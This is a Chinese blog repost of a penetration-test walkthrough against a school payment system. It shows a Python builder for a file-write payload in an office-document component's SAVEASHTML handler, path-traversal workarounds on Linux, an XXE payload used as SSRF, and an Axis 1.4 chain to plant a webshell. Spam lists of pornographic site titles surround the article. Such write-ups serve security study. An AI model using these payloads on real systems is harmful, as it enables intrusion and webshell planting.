日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【渗透测试】一次从黑盒转向白盒

發布時間:2025/3/21 编程问答 11 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【渗透测试】一次从黑盒转向白盒 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

本次是針對學校某系統的滲透記錄,已獲得相應授權。通用漏洞涉及影響單位早前已提交至SRC平臺,廠商已發布對應補丁。

【查看資料】

信息收集

目標系統主要是一個支付平臺,是近期剛上線的系統,向學校老師取得相應授權后開始測試。

軟件開發商:`xx軟件開發有限公司/xxsoft/xxxx.com.cn` 開發語言: `Java` 框架: `St2`

因為是近期剛上線的系統,單點認證還沒有接入。無法通過單點認證登錄此系統,在嘗試爆破admin密碼后無果. 開始轉向源碼的收集。畢竟白盒才是最直接的手段。源碼的收集大致有以下幾個思路:

1.百度云盤 2.閑魚 (部分商家已搭建第三方系統為主可能有存貨需要主動詢問) 3.同系統站點下存在備份

百度云盤和閑魚比較費時間,這兩個主要看自身對關鍵詞的理解。因為這兩個思路基本被人玩的差不多了,也就 不在浪費時間了(后面找了下也確實沒有)。先確定了該系統的指紋,使用fofa收集相同系統站點。


然后丟進御劍里走一遍。字典如下:

/ROOT.7z /ROOT.rar /ROOT.tar /ROOT.tar.gz /ROOT.war /ROOT.zip /web.tar /web.tar.gz /web.rar

這里其實需要注意.很多情況是tomcat下部署了多個應用。在不同目錄中,而 ROOT 目錄中只是幾個簡單的重定向 文件。所以在掃描多應用站點時,應該把 ROOT 改成應用所處目錄名. 如:

/pay/index.jsp-- > /pay/ --> pay.war

上面這套思路純粹看運氣.結果也是沒有掃到.

某組件存在安全問題

備份走不通只能走一些歷史漏洞了。把url列表丟進自己寫的輪子里掃一遍: (先是掃了一次目錄,后根據目錄再次驗證)

發現ticket模塊下存在 officeserver.jsp ,訪問后出現提示

DBSTEP V3.0 0 14 0 請使用Post方法

典型的某格組件,該組件默認存在 SAVEASHTML 方法,攻擊者構造特殊的數據包可以造成任意文件的寫入: 并且默認使用Base64加密,主要問題在于數據包的構造: 一張圖簡單了解下具體格式. (別噴,我自己也看不懂)

解釋:

具體參考DbStep.jar中的StreamToMsg 方法。這里只做簡單的解釋 數據包的前64字節為配置信息,告訴后端該如何讀取,也就是0-63位。
其中 0:15 賦值給變量 FVersion , 16:31 賦值給變量 BodySize , 32:47 賦值給 ErrorSize . 48:63 賦值給 FFileSize .除了 FVersion ,其余中間內容只能填寫數字,代表著各個變量的內容要讀取多少位. 以 BodySize 為例子,這里的內容為 114 ,也就是說去除數據前64字節,在往后讀114字節.這114字節內容賦值給 FMsgText .之后取參數也是從 FMsgText 中取,每個參數以 \n\t 進行分割。

以此類推. 了解如何構造對應數據包后開始編寫腳本: 該組件默認會有一個 SAVEASHTML 方法。可以將 FFileSize 截取的內容存儲到文件中。導致任意文件的寫入。

else if (mOption.equalsIgnoreCase("SAVEASHTML")) { // ����?���?��OFFICE��?HTML?�� mHtmlName = MsgObj.GetMsgByName("HTMLNAME"); // ?���?����� mDirectory = MsgObj.GetMsgByName("DIRECTORY"); //?��??���� MsgObj.MsgTextClear(); if (mDirectory.trim().equalsIgnoreCase("")) { mFilePath = mFilePath + "\\HTML"; } else { mFilePath = mFilePath + "\\HTML\\" + mDirectory; } MsgObj.MakeDirectory(mFilePath); //����·�� if (MsgObj.MsgFileSave(mFilePath + "\\" + mHtmlName)) { // ����HTML�?� MsgObj.MsgError(""); // ���������? MsgObj.SetMsgByName("STATUS", "����HTML�?�!"); // ?��??���� } else { MsgObj.MsgError("����HTML?��!"); // ���?�����? } MsgObj.MsgFileClear(); }

當文件夾不存在時會自動創建對應的文件夾。MsgFileSave 方法后面拼接的 mHtmlName 內容可控,寫入文件可以 嘗試跨目錄。編寫生成腳本:

body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw== LOCALFILE=MQ==""".replace( ' ', '\n').strip() coente="""hello1""" fileContent=f''' {coente} '''.replace("\n","").strip() payload="DBSTEP V3.0 " bodysieze=str(len(body)) filesize=str(len(fileContent)) payload+=str(int(bodysieze)+3)+' '*(16-len(bodysieze))+'0'+' '*15+filesize+' '*(16- len(filesize))+body+fileContent FVersion=payload[0:15] print("version:",FVersion) Body=payload[16:31] print("BodySize:",Body) Error=payload[32:47] print("ErrorSize:",Error) File=payload[48:63] print("FileSize:",File) print(payload)

使用postman發送payload到指定文件。

可能是覺得我操作的過于順利,返回保存文件失敗的內容,于是陷入了沉思。經過一系列的探索。我發現,當 FileName 中的內容不存在 /…/ 跨目錄符號時就能保存成功。

因為 mFilePath 取值就是當前應用的根目錄

所以文件應該在 HTML 目錄下。嘗試訪問.

?返回404錯誤,證明文件并沒有寫入到指定位置中。

Linux和Windows 寫入文件的差異性

最后在請教忍醬后得知,由于目標是 Linux 系統,在 linux 系統中, \ 被當做成一個文件夾。而 FileOutputStream 在寫入文件時如果文件夾不存在會直接拋出錯誤。

Demo:

當寫入文件時。由于文件夾不存在會創建一個 \HTML\test 的文件夾。而最終寫入路徑中的文件夾名為 \HTML\test\, HTML\test\ 名字的文件夾是不存在的,導致文件無法寫入成功 .

在不使用 /…/ 跨目錄符號時,文件最終會以 \HTML\test\1.txt 的文件名進行存儲,這與預期也是不符合的。

解決方案:

在了解無法寫入的原因后,開始尋找解決方法。既然該方法可以創建文件夾,那么如果我預先創建一個 \HTML\test\ 命名的文件夾,后續不就可以寫入了?\ 在創建文件夾時,如果 mDirectory 的內容不為空,那么最終存儲的目錄地址會進行一個拼接,然后創建。我們可 以在 mDirectory 上做一些嘗試。在創建的文件夾名后面添加 \\ 符號,來確保能創建我們預期的文件夾名

實踐

:

這里寫了一個Demo,模擬最終寫入文件的流程。在 path2 上添加多個 \ .最終成功創建出了預期的\HTML\test\ 文件夾。(實際環境中其實需要3個)

有了對應的文件夾,再次嘗試寫入,由于拼接的原因,需要在原來的目錄后去掉一個 \

寫入成功: 完成跨目錄


根據目標系統生成對應的POC: 總共分兩個步驟: 1.創建文件夾 2.寫入文件

再次嘗試寫入文件:

成功寫入!

終點也是起點

成功拿到Webshell后,根據現有POC.嘗試在目標系統上復現,發現不存在 ticket 模塊???,白干了?

好在先前拿的系統中存在 PAY 模塊,可以直接下載下來進行代碼審計。一頓審計過后發現并沒有什么利用點???,該系統不存在文件上傳點,并且SQL注入都會對傳入的字符做處理

統一使用 org.apache.commons.lang.StringEscapeUtils.escapeSql 方法進行過濾。

這導致后續利用難。但是根據 web.xml ,發現該應用使用了 AXIS 且版本為1.4也開啟了遠程訪問

Axis1.4 是存在一個遠程命令執行的,可以向 web service 中添加惡意方法。導致命令執行。

該漏洞利用需要一個SSRF漏洞,來組合利用。
根據現有代碼開始查找,是否有可控點。一頓操作下來發現并沒有可以利用的SSRF點。基本都是固定的URL。

回想起最近才復現的 MySQL JDBC XXE漏洞(CVE-2021-2471) .xxe也是可以發送http請求的。(主要是平時不太關注這類漏洞)

在JAVA中,可能造成XXE漏洞的主要有以下:

SAXBuilder SAXParserFactory SAXReader SAXTransformerFactory TransformerFactory ValidatorSample XMLReader Unmarshaller SchemaFactory .....

最終審計發現了一處 SAXBuilder 所造成的XXE漏洞。

構造Payload,測試一下dnslog。
Payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE b [<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">]><name>&xxe;</name>


得到響應。
有了SSRF,后續利用起來也比較方便了。因為此系統安裝路徑都是統一的,公開的幾個利用鏈都是第三方jar 包,LogHandler比較麻煩。所以這里在內置方法類中找了一個文件寫入的方法。FileUtil下有一個 writeFileContent 方法,可以直接寫入文件。

(公開的鏈中有可以直接執行命令的,如:freemarker。目標不存在此依賴)

使用SSRF GET請求添加到 Web services ,“會有端口不一樣的情況!”
(POST轉換一下格式就可以)

方法被成功添加到Web Services中

調用方法,寫入文件。成功拿到Webshell!

最后

關注我,持續更新······

私我獲取【網絡安全學習資料·攻略

總結

以上是生活随笔為你收集整理的【渗透测试】一次从黑盒转向白盒的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 日本xxxwww | 极品人妻videosss人妻 | 在线天堂资源 | 天天射寡妇 | 超碰超在线 | av资源部 | 天堂福利在线 | 午夜高清 | h视频在线观看网站 | 精品动漫一区二区三区 | 亚洲av成人精品毛片 | 夜夜操综合 | 91大片在线观看 | xxxxⅹxxxhd日本8hd| 无码日韩精品视频 | 天堂最新| 五月天欧美 | 麻豆久久久久 | 涩涩视频在线 | 亚洲综合久久av | a资源在线 | 五十路av | 久操久操久操 | 国产亚洲综合av | zoo性欧美 | 婷婷tv | av在线a| www.超碰在线.com | 成人国产视频在线观看 | 久久爱影视 | 蜜桃av免费 | 黄色激情四射 | 日韩免费一级片 | 成人娱乐网 | 欧美在线观看视频一区二区 | 国产91清纯白嫩初高中在线观看 | 日本xxxx裸体xxxx | 国产精品av在线 | 中文字幕一级片 | 日韩欧美麻豆 | 天天综合日日夜夜 | 三级在线视频 | 亚洲国产影院 | 三级爱爱| jizz免费视频| 91免费观看视频 | 男人操女人免费网站 | 国产精品三级电影 | 久久夜夜夜 | 狠狠操精品 | 国内偷拍久久 | 成年人免费在线观看网站 | 男女深夜福利 | 深夜福利视频网站 | 熟女人妻在线视频 | 五月激情四射网 | 综合精品| 草久在线观看视频 | julia一区二区| 五月婷婷天 | 国产精品66 | 免费网站在线观看视频 | 黑人操日本女人 | 中文字幕一区二区在线观看 | 亚洲综合成人av | 奇米影视999| 久久婷五月天 | 欧美亚洲精品一区 | 少妇熟女一区二区三区 | 先锋资源av网 | 亚洲一区二区三区四区五区xx | 伊人久久久 | 国产欧美激情在线观看 | 欧美亚洲精品在线观看 | 伦理自拍| 美女啪啪网站 | 一级片免费网站 | 久久婷香| 亚洲国产成人一区二区精品区 | xzjzjzjzjzj欧美大片 | 日韩久久一级片 | 国产精品一二三四 | 欧美日本在线看 | 国产午夜网站 | 久久久久久久九九九九 | 成人18在线| 95看片淫黄大片一级 | 午夜青青草 | 国产精品热久久 | av网址在线 | 一区二区三区高清在线观看 | 亚洲射 | 四虎在线免费观看视频 | 一区二区国产在线 | 人人射视频 | 国产视频一区二区不卡 | 动漫大乳美女 | 操bbbbb| 米奇影视第四色 |